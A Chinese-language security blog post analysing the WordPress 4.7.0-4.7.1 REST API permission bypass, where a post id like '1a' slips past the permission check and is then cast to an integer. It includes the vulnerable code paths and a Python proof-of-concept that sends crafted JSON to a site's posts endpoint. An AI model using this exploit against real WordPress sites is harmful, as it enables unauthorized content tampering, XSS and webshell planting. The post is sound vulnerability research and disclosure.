cdxy.me
Footprints on Cyber Security and Python

WordPress 4.7.0-4.7.1 REST API权限验证绕过,攻击者可利用该漏洞修改文章内容,并通过XSS实施进一步攻击,在一定条件下可写入webshell。

Patch

https://github.com/WordPress/WordPress/commit/e357195ce303017d517aff944644a7a1232926f7

picture

通过REST API修改文章时,update_item_permissions_check函数用于验证权限(上图左)。

该函数先验证了文章是否存在,再验证有无更新权限,这里令get_post()获取文章失败即可绕过该验证。

跟进get_post()函数

/wp-includes/post.php line 515 关键代码如下

function get_post( $post = null, $output = OBJECT, $filter = 'raw' ) {
...
$_post = WP_Post::get_instance( $post );
if ( ! $_post )
    return null;
...
}

跟进get_instance()

public static function get_instance( $post_id ) {
    global $wpdb;

    if ( ! is_numeric( $post_id ) || $post_id != floor( $post_id ) || ! $post_id ) {
        return false;
    ...
}

这里看到输入$post_id不为纯数字时返回false。

现在我们可以构造一个json消息,令{"id":"1a"}。 这样$request['id']获取到1a这个值,传入get_post()函数导致$post==null,即可绕过update_item_permissions_check()验证。 随后update_item()在修改内容时对这个id参数做了integer casting,将1a变为1,从而顺利获取到文章内容并进行后续操作。

public function update_item( $request ) {
    $id   = (int) $request['id'];
    $post = get_post( $id );
...
}

PoC

https://github.com/Xyntax/POC-T/blob/2.0/script/wp-4.7.1-restapi.py

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = i@cdxy.me

import requests
import json

API_ROUTE = '/index.php/wp-json/wp/v2/posts/'


def poc(url):
    url = url if '://' in url else 'http://' + url

    try:
        r = requests.get(url + API_ROUTE)
        id = json.loads(r.content)[0]['id']  # get an exist post id

        post_url = url + API_ROUTE + str(id)
        data1 = '{"id": "%s"}' % id
        data2 = '{"id": "%sa"}' % id
        r1 = requests.post(post_url, data1, headers={'Content-Type': 'application/json'})
        r2 = requests.post(post_url, data2, headers={'Content-Type': 'application/json'})

        if r1.status_code > 400 and r2.status_code == 200 and r1.content != r2.content:
            return post_url
    except:
        return False

    return False

pic

Ref

  • https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html
  • https://cxsecurity.com/ascii/WLB-2017020021